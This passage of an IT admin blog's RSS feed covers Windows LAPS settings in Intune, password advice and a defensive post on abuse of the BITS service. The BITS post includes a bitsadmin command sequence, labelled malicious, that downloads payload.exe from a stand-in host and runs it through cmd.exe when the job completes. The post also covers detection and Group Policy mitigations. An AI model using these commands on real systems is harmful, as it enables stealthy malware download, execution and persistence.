<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Advice for your users and administrators on what correct passwords look like and how to deal with them correctly is indispensable.</p>
</div>
<h3 id="for-non-interactive-accounts" tabindex="-1">For Non-Interactive Accounts <a class="header-anchor" href="#for-non-interactive-accounts" aria-label="Permalink to &quot;For Non-Interactive Accounts&quot;">&ZeroWidthSpace;</a></h3>
<p>There are accounts that are not directly used by humans, but usually have high permissions, such as service accounts or service principals. They should receive a particularly long (64 characters) and complex password (or use system managed accounts) that is simply assigned and then kept locked away. These accounts should not be subject to regular changes to prevent service outages. These accounts should be monitored separately, as they are particularly vulnerable and popular with attackers. However, since these accounts are never used to log in, they can be reliably monitored.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LAPS - Updates 03/2025 | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/laps.html</link>
            <guid>https://michaelsendpoint.com/intune/laps.html</guid>
            <pubDate>Thu, 03 Apr 2025 19:40:40 GMT</pubDate>
            <description><![CDATA[This article provides an overview of the March 2025 updates to Windows Local Administrator Password Solution (LAPS) in Microsoft Intune, including new settings, configuration steps, and enhanced security features.]]></description>
            <content:encoded><![CDATA[<h1 id="laps-updates-march-2025" tabindex="-1">LAPS Updates March 2025 <a class="header-anchor" href="#laps-updates-march-2025" aria-label="Permalink to &quot;LAPS Updates March 2025&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>LAPS (Local Administrator Password Solution) is a useful tool from Microsoft that automatically manages and backs up the passwords for local admin accounts on Intune or Active Directory-managed devices.
It helps improve the security of the notoriously unsafe local admin accounts and, with that, closes another avenue for cyberattacks.
It provides admins centrally managed access to these passwords and the capability for automatic event-driven changes.</p>
<h2 id="where-to-configure-laps" tabindex="-1">🔧 Where to configure LAPS <a class="header-anchor" href="#where-to-configure-laps" aria-label="Permalink to &quot;:wrench: Where to configure LAPS&quot;">&ZeroWidthSpace;</a></h2>
<img src="\intune_laps\create_profile.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol>
<li>Open <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Workflows/SecurityManagementMenu/~/accountprotection" target="_blank" rel="noreferrer">Intune admin center -&gt; Endpoint security -&gt; Account protection</a></li>
<li>Now click Create Policy
<ul>
<li>Platform: Windows</li>
<li>Profile: Local admin password solution (Windows LAPS)</li>
</ul>
</li>
<li>Now enter the 'Name' and 'Description' of your Policy and click 'Next'.</li>
<li>Here you can configure the already existing settings.</li>
</ol>
<img src="\intune_laps\laps_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="what-s-new-in-microsoft-intune-week-of-march-17-2025-service-release-2503" tabindex="-1">📰 <a href="https://learn.microsoft.com/en-us/mem/intune-service/fundamentals/whats-new#week-of-march-17-2025-service-release-2503" target="_blank" rel="noreferrer">What's new in Microsoft Intune - Week of March 17, 2025 (Service release 2503)</a> <a class="header-anchor" href="#what-s-new-in-microsoft-intune-week-of-march-17-2025-service-release-2503" aria-label="Permalink to &quot;:newspaper: [What's new in Microsoft Intune - Week of March 17, 2025 (Service release 2503)](https://learn.microsoft.com/en-us/mem/intune-service/fundamentals/whats-new#week-of-march-17-2025-service-release-2503)&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="new-settings-for-windows-laps-policy" tabindex="-1">New settings for Windows LAPS policy <a class="header-anchor" href="#new-settings-for-windows-laps-policy" aria-label="Permalink to &quot;New settings for Windows LAPS policy&quot;">&ZeroWidthSpace;</a></h3>
<p>Intune policies for Windows Local Administrator Password Solution (LAPS) now include several new settings and updates to two previously available settings. Use of LAPS which is a Windows built-in solution can help you secure the built-in local administrator account that is present on each Windows device. All the settings that you can manage through Intune LAPS policy are described in the Windows LAPS CSP.</p>
<p>The following new settings are available: (Each setting name is a link that opens the CSP documentation for that setting.)</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementenableaccount" target="_blank" rel="noreferrer">Automatic Account Management Enable Account</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementenabled" target="_blank" rel="noreferrer">Automatic Account Management Enabled</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementnameorprefix" target="_blank" rel="noreferrer">Automatic Account Management Name Or Prefix</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementrandomizename" target="_blank" rel="noreferrer">Automatic Account Management Randomize Name</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementtarget" target="_blank" rel="noreferrer">Automatic Account Management Target</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiespassphraselength" target="_blank" rel="noreferrer">Passphrase Length</a></li>
</ul>
<p>The following settings have new options available:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiespasswordcomplexity" target="_blank" rel="noreferrer">Password Complexity – The following are new options available for this setting</a>:
<ul>
<li>Passphrase (long words)</li>
<li>Passphrase (short words)</li>
<li>Passphrase (short words with unique prefixes)</li>
</ul>
</li>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiespostauthenticationactions" target="_blank" rel="noreferrer">Post Authentication Actions - The following option is now available for this setting</a>:
<ul>
<li>Reset the password, logoff the managed account, and terminate any remaining processes: upon expiration of the grace period, the managed account password is reset, any interactive logon sessions using the managed account are logged off, and any remaining processes are terminated.</li>
</ul>
</li>
</ul>
<p>By default, each setting in LAPS policies is set to Not configured, which means the addition of these new settings won't change the behavior of your existing policies.
To make use of the new settings and options, you can create new profiles or edit your existing profiles.</p>
<h3 id="what-do-the-new-settings-do" tabindex="-1">What do the new settings do? <a class="header-anchor" href="#what-do-the-new-settings-do" aria-label="Permalink to &quot;What do the new settings do?&quot;">&ZeroWidthSpace;</a></h3>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>You need <strong>Windows 11 24H2</strong> for these new settings.</p>
</div>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementenableaccount" target="_blank" rel="noreferrer">Policies/AutomaticAccountManagementEnableAccount</a></p>
<img src="\intune_laps\intune_settings_enable.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/AutomaticAccountManagementEnableAccount</span></span></code></pre>
</div><p>Use this setting to configure whether the automatically managed account is enabled or disabled.</p>
<ul>
<li>If not specified, this setting defaults to False.</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">Value</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">False (Default)</td>
<td style="text-align:left">The target account will be disabled.</td>
</tr>
<tr>
<td style="text-align:left">True</td>
<td style="text-align:left">The target account will be enabled.</td>
</tr>
</tbody>
</table>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementenabled" target="_blank" rel="noreferrer">Policies/AutomaticAccountManagementEnabled</a></p>
<img src="\intune_laps\intune_settings_auto.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/AutomaticAccountManagementEnabled</span></span></code></pre>
</div><p>Use this setting to specify whether automatic account management is enabled.</p>
<ul>
<li>If not specified, this setting defaults to False.</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">Value</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">false (Default)</td>
<td style="text-align:left">The target account won't be automatically managed.</td>
</tr>
<tr>
<td style="text-align:left">true</td>
<td style="text-align:left">The target account will be automatically managed.</td>
</tr>
</tbody>
</table>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementnameorprefix" target="_blank" rel="noreferrer">Policies/AutomaticAccountManagementNameOrPrefix</a></p>
<img src="\intune_laps\intune_settings_auto_prefix.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/AutomaticAccountManagementNameOrPrefix</span></span></code></pre>
</div><p>Use this setting to configure the name or prefix of the managed local administrator account.</p>
<ul>
<li>If specified, the value will be used as the name or name prefix of the managed account.</li>
<li>If not specified, this setting will default to &quot;WLapsAdmin&quot;.</li>
</ul>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementrandomizename" target="_blank" rel="noreferrer">Policies/AutomaticAccountManagementRandomizeName</a></p>
<img src="\intune_laps\intune_settings_auto_random.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/AutomaticAccountManagementRandomizeName</span></span></code></pre>
</div><p>Use this setting to configure whether the name of the automatically managed account uses a random numeric suffix each time the password is rotated.</p>
<ul>
<li>If not specified, this setting defaults to False.</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">Value</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">False (Default)</td>
<td style="text-align:left">The name of the target account won't use a random numeric suffix.</td>
</tr>
<tr>
<td style="text-align:left">True</td>
<td style="text-align:left">The name of the target account will use a random numeric suffix.</td>
</tr>
</tbody>
</table>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiesautomaticaccountmanagementtarget" target="_blank" rel="noreferrer">Policies/AutomaticAccountManagementTarget</a></p>
<img src="\intune_laps\intune_settings_auto_target.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/AutomaticAccountManagementTarget</span></span></code></pre>
</div><p>Use this setting to configure which account is automatically managed.</p>
<ul>
<li>If not specified, this setting will default to 1.</li>
</ul>
<table>
<thead>
<tr>
<th style="text-align:left">Value</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">0</td>
<td style="text-align:left">Manage the built-in administrator account.</td>
</tr>
<tr>
<td style="text-align:left">1 (Default)</td>
<td style="text-align:left">Manage a new custom administrator account.</td>
</tr>
</tbody>
</table>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiespassphraselength" target="_blank" rel="noreferrer">Policies/PassphraseLength</a></p>
<img src="\intune_laps\intune_settings_complexity_length.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/PassphraseLength</span></span></code></pre>
</div><p>Use this setting to configure the number of passphrase words.</p>
<ul>
<li>If not specified, this setting will default to 6 words.</li>
<li>This setting has a minimum allowed value of 3 words.</li>
<li>This setting has a maximum allowed value of 10 words.</li>
</ul>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiespasswordcomplexity" target="_blank" rel="noreferrer">Policies/PasswordComplexity</a></p>
<img src="\intune_laps\intune_settings_complexity.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/PasswordComplexity</span></span></code></pre>
</div><p>Use this setting to configure password complexity of the managed local administrator account.</p>
<ul>
<li>If not specified, this setting will default to 4.</li>
</ul>
<p>Passphrase list taken from &quot;Deep Dive: EFF's New Wordlists for Random Passphrases&quot; by Electronic Frontier Foundation, and is used under a CC-BY-3.0 Attribution license.<br>
You can download the 'Windows LAPS Passphrase Word Lists' <a href="https://go.microsoft.com/fwlink/?linkid=2255471" target="_blank" rel="noreferrer">here</a>.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Windows supports the lower password complexity settings (1, 2, and 3) only for backwards compatibility with older versions of LAPS.</p>
</div>
<table>
<thead>
<tr>
<th style="text-align:left">Value</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">1</td>
<td style="text-align:left">Large letters.</td>
</tr>
<tr>
<td style="text-align:left">2</td>
<td style="text-align:left">Large letters + small letters.</td>
</tr>
<tr>
<td style="text-align:left">3</td>
<td style="text-align:left">Large letters + small letters + numbers.</td>
</tr>
<tr>
<td style="text-align:left">4 (Default)</td>
<td style="text-align:left">Large letters + small letters + numbers + special characters.</td>
</tr>
<tr>
<td style="text-align:left">5</td>
<td style="text-align:left">Large letters + small letters + numbers + special characters (improved readability).</td>
</tr>
<tr>
<td style="text-align:left">6</td>
<td style="text-align:left">Passphrase (long words).</td>
</tr>
<tr>
<td style="text-align:left">7</td>
<td style="text-align:left">Passphrase (short words).</td>
</tr>
<tr>
<td style="text-align:left">8</td>
<td style="text-align:left">Passphrase (short words with unique prefixes).</td>
</tr>
</tbody>
</table>
<hr>
<p><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/laps-csp#policiespostauthenticationactions" target="_blank" rel="noreferrer">Policies/PostAuthenticationActions</a></p>
<img src="\intune_laps\intune_settings_actions.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>./Device/Vendor/MSFT/LAPS/Policies/PostAuthenticationActions</span></span></code></pre>
</div><p>Use this setting to specify the actions to take upon expiration of the configured grace period.</p>
<ul>
<li>If not specified, this setting will default to 3 (Reset the password and logoff the managed account).</li>
</ul>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>The allowed post-authentication actions are intended to help limit the amount of time that a LAPS password may be used before being reset.
Logging off the managed account - or rebooting the device - are options to help ensure this.
Abrupt termination of logon sessions, or rebooting the device, may result in data loss.</p>
</div>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>From a security perspective, a malicious user who acquires administrative privileges on a device using a valid LAPS password does have the ultimate ability to prevent or circumvent these mechanisms.</p>
</div>
<table>
<thead>
<tr>
<th style="text-align:left">Value</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">1</td>
<td style="text-align:left">Reset password: upon expiry of the grace period, the managed account password will be reset.</td>
</tr>
<tr>
<td style="text-align:left">3 (Default)</td>
<td style="text-align:left">Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.</td>
</tr>
<tr>
<td style="text-align:left">5</td>
<td style="text-align:left">Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted.</td>
</tr>
<tr>
<td style="text-align:left">11</td>
<td style="text-align:left">Reset the password, logoff the managed account, and terminate any remaining processes: upon expiration of the grace period, the managed account password is reset, any interactive logon sessions using the managed account are logged off, and any remaining processes are terminated.</td>
</tr>
</tbody>
</table>
<hr>
<h3 id="outcome" tabindex="-1">Outcome <a class="header-anchor" href="#outcome" aria-label="Permalink to &quot;Outcome&quot;">&ZeroWidthSpace;</a></h3>
<p>If you set up the new settings correctly, the passwords on your devices might look like this:</p>
<img src="\intune_laps\pass.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p>Complete with the new <span style="color:crimson"><strong>Passphrase</strong></span> and <span style="color:crimson"><strong>Account randomization</strong></span>.</p>
<p>Of course you can still, trigger a manual password rotation via the Device blade.</p>
<img src="\intune_laps\rotate.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security Risks of the BITS process | Security]]></title>
            <link>https://michaelsendpoint.com/security/bitsadmin.html</link>
            <guid>https://michaelsendpoint.com/security/bitsadmin.html</guid>
            <pubDate>Mon, 30 Dec 2024 23:03:35 GMT</pubDate>
            <description><![CDATA[This guide provides instructions for securing the BITS process. bitsadmin.exe is a command-line tool used to create and manage Background Intelligent Transfer Service (BITS) jobs, which enable the asynchronous, prioritised and throttled transfer of files between computers using idle network bandwidth. This article discusses best practices, identifies potential security risks, and outlines methods to mitigate these risks.]]></description>
            <content:encoded><![CDATA[<h1 id="bits-background-intelligent-transfer-service" tabindex="-1">BITS  (Background Intelligent Transfer Service) <a class="header-anchor" href="#bits-background-intelligent-transfer-service" aria-label="Permalink to &quot;BITS  (Background Intelligent Transfer Service)&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>The Background Intelligent Transfer Service, or BITS, is an incredibly useful tool for programmers and system administrators.
It's amazing at downloading files from or uploading files to HTTP web servers and SMB file shares, and it considers the cost of the transfer and network usage so that your foreground work doesn't have to wait.
BITS is also great at handling network interruptions, pausing and automatically resuming transfers, even after a reboot.
It's got PowerShell cmdlets for creating and managing transfers, and the BitsAdmin command-line utility.</p>
<p>Use BITS for applications that need to:</p>
<ul>
<li>Download from or upload files to an HTTP or REST web server or SMB file server.</li>
<li>Automatically resume file transfers after network disconnects and computer restarts.</li>
<li>Preserve the responsiveness of other network applications.</li>
<li>Be mindful of the network cost of the transfer.</li>
</ul>
<p>&nbsp;</p>
<p>Example applications:</p>
<ul>
<li><strong>Windows Update</strong>: The BITS service, is used to download and install Windows updates.</li>
<li><strong>Microsoft Office</strong>: Microsoft Office applications, such as Word and Excel, use BITS to download and install updates and features.</li>
<li><strong>Adobe Creative Cloud</strong>: Adobe Creative Cloud applications use BITS to download and install updates and new features.</li>
<li><strong>Microsoft Store</strong>: The Microsoft Store uses BITS to download and install apps and updates.</li>
<li><strong>Windows Defender</strong>: Windows Defender uses BITS to download and install updates and signature files.</li>
</ul>
<p>&nbsp;</p>
<p>Example Code:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> BitsTransfer</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">mkdir </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">force c:\temp\BITSFILES</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-BitsTransfer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Source https:</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">//</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">aka.ms</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">WinServ16</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">StndPDF </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Destination c:\temp\BITSFILES\WindowsServer2016.pdf</span></span></code></pre>
</div><h2 id="why-is-the-bits-service-a-potential-security-risk" tabindex="-1">Why is the BITS Service a potential security risk? <a class="header-anchor" href="#why-is-the-bits-service-a-potential-security-risk" aria-label="Permalink to &quot;Why is the BITS Service a potential security risk?&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li><strong>Potential exploitation</strong>: The BITS service can be exploited by malware to download and install malicious software without user interaction, adding additional metadata for retry attempts and post-completion commands.</li>
<li><strong>Defense Evasion</strong>: Attackers can programmatically create BITS jobs to download malicious files or execute commands upon completion. Initial job creation is suspended until configured and can transfer files without user awareness.</li>
<li><strong>Elevation</strong>: Creating BITS jobs does not require elevated privileges, allowing attackers to create jobs that can execute malicious code without administrative privileges.</li>
<li><strong>Persistance before Windows 10</strong>: If a BITS job doesn't complete, it can be reactivated when the user logs in, repeatedly executing malicious payloads, demonstrating the potential for sustained attacks.</li>
<li><strong>Persistance after Windows 10</strong>: If a remote server is configured not to respond, Windows keeps trying until the attacker decides to make it respond and deliver a payload.</li>
<li><strong>Firewall Evasion</strong>: The BITS service is generally allowed access by most host-based firewalls.</li>
</ul>
<div class="danger custom-block"><p class="custom-block-title">DANGER</p>
<p><strong>Deprecation of bitsadmin</strong><br>
The <code>bitsadmin</code> tool has been deprecated in Windows 7 and 2008 R2, it is superceeded by the new <code>PowerShell BITS cmdlets</code>.<br>
But even so the <code>bitsadmin.exe</code> is still available in the Windows\System32\ folder.</p>
</div>
<h2 id="attack-mechanism" tabindex="-1">Attack Mechanism <a class="header-anchor" href="#attack-mechanism" aria-label="Permalink to &quot;Attack Mechanism&quot;">&ZeroWidthSpace;</a></h2>
<p>Attackers configure BITS jobs via the COM interface, PowerShell or the Bitsadmin tool.
Jobs can download malicious files and execute commands after the transfer.
Jobs remain active until explicitly completed, facilitating persistence.
One notable technique is event-driven execution, where attackers can control payload delivery by manipulating server responses.
The BITS service also has upload functionality that can be abused for exfiltration.</p>
<p>&nbsp;</p>
<p>Example Code for malicious use of bitsadmin.exe:</p>
<div class="language-batch vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">batch</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">REM</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> This command creates a new BITS job</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">bitsadmin</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> /create myattackjob</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">REM</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> This command adds a file to the BITS job. It specifies that the file 'payload.exe' should be downloaded from 'http://myserver/payload.exe' and saved to the '%TEMP%' directory on the local machine as 'payload.exe'.</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">bitsadmin</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> /addfile myattackjob </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"http://myserver/payload.exe"</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">%TEMP%</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\payload.exe"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">REM</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> This command sets the notification flags for the BITS job. The flag 1 indicates that the job should notify the user when it is complete.</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">bitsadmin</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> /setnotifyflags myattackjob </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">REM</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> This command sets the notification command line for the BITS job. When the job is complete, it will execute 'cmd.exe' and then starts the downloaded 'payload.exe'.</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">bitsadmin</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> /setnotifycmdline myattackjob </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"C:\windows\system32\cmd.exe"</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "/C bitsadmin /complete myattackjob &#x26; start </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">%TEMP%</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\payload.exe"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">REM</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"> This command resumes the BITS job, starting the download process.</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">bitsadmin</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> /resume myattackjob</span></span></code></pre>
</div><h2 id="detection-and-monitoring" tabindex="-1">Detection and Monitoring <a class="header-anchor" href="#detection-and-monitoring" aria-label="Permalink to &quot;Detection and Monitoring&quot;">&ZeroWidthSpace;</a></h2>
<p>Detecting BITS abuse is difficult because completed jobs are logged in the Windows event log, but crucial information about the commands executed is often missing.
Network monitoring can help identify suspicious BITS (SMB and HTTP) traffic.</p>
<p>Active jobs can be monitored using the Bitsadmin tool (bitsadmin /list), PowerShell (Get-BitsTransfer) or the Windows Event Log.
Logs in the Windows Event Viewer (IDs 3, 59, 60 and 4) track jobs created and completed, but do not show details of command execution (Path: Event Viewer -&gt; Applications and Services Logs -&gt; Microsoft -&gt; Windows -&gt; BITS Client).
Process monitoring using tools such as Sysmon can reveal BITS-related activity.</p>
<h2 id="defense-strategies" tabindex="-1">Defense Strategies <a class="header-anchor" href="#defense-strategies" aria-label="Permalink to &quot;Defense Strategies&quot;">&ZeroWidthSpace;</a></h2>
<p>Disabling the BITS service is not recommended as it may interfere with system and software updates.
It would be possible to block the BITS traffic at the perimeter of the network and allow updates to be delivered via an internal server.
This can be difficult, however, as the Bits service operates over HTTP and HTTPS, and blocking these would hinder web browsing.
In addition, in order to be able to inspect the HTTPS traffic, a TLS breakout would be required.</p>
<p>A simpler way to mitigate some risks is through Group policies.</p>
<ul>
<li>JobInactivityTimeout: Limits the time a job can remain inactive before being terminated. (Default 90 days)
<ul>
<li>Reducing this would limit the persistence a BITS job could have.</li>
</ul>
</li>
<li>MaxJobsPerUser: Limits the number of BITS jobs a user can create. (Default 60 Jobs per user)
<ul>
<li>Reducing this to zero per user would limit the number of users who can create BITS jobs, restricting this functionality to administrative and service accounts, greatly reducing risk without compromising most update functionality.</li>
</ul>
</li>
</ul>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>This could still interfere with updates that your users do on their own, without any elevation.</p>
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intune | Powershell]]></title>
            <link>https://michaelsendpoint.com/powershell/intune.html</link>
            <guid>https://michaelsendpoint.com/powershell/intune.html</guid>
            <pubDate>Sun, 15 Dec 2024 20:54:09 GMT</pubDate>
            <description><![CDATA[Microsoft Intune powershell scripts]]></description>
            <content:encoded><![CDATA[<h1 id="micrososft-intune" tabindex="-1">Micrososft Intune <a class="header-anchor" href="#micrososft-intune" aria-label="Permalink to &quot;Micrososft Intune&quot;">&ZeroWidthSpace;</a></h1>
<!--## How to get easy Intune scripts with **Microsoft Graph**

### How to Install *Graph X-Ray*

![extension](/powershell_intune/extension.png)
![manage_ext](/powershell_intune/manage_ext.png)
![chrome_web_store](/powershell_intune/chrome_web_store.png)
![edge_web_store](/powershell_intune/edge_web_store.png)

- Add extension

![install](/powershell_intune/install.png)
![edge_ext](/powershell_intune/edge_ext.png)
`F12`
![graphx](/powershell_intune/graphx.png)


 ### Extract the Script from intune with Graph X-Ray

[//]: 1. Open (intune.microsoft.com)
[//]: 2. Open the Settings you want to make /(example in screenshot Configuration Policy)
[//]: 3. Klick "Create"
 4. --> 
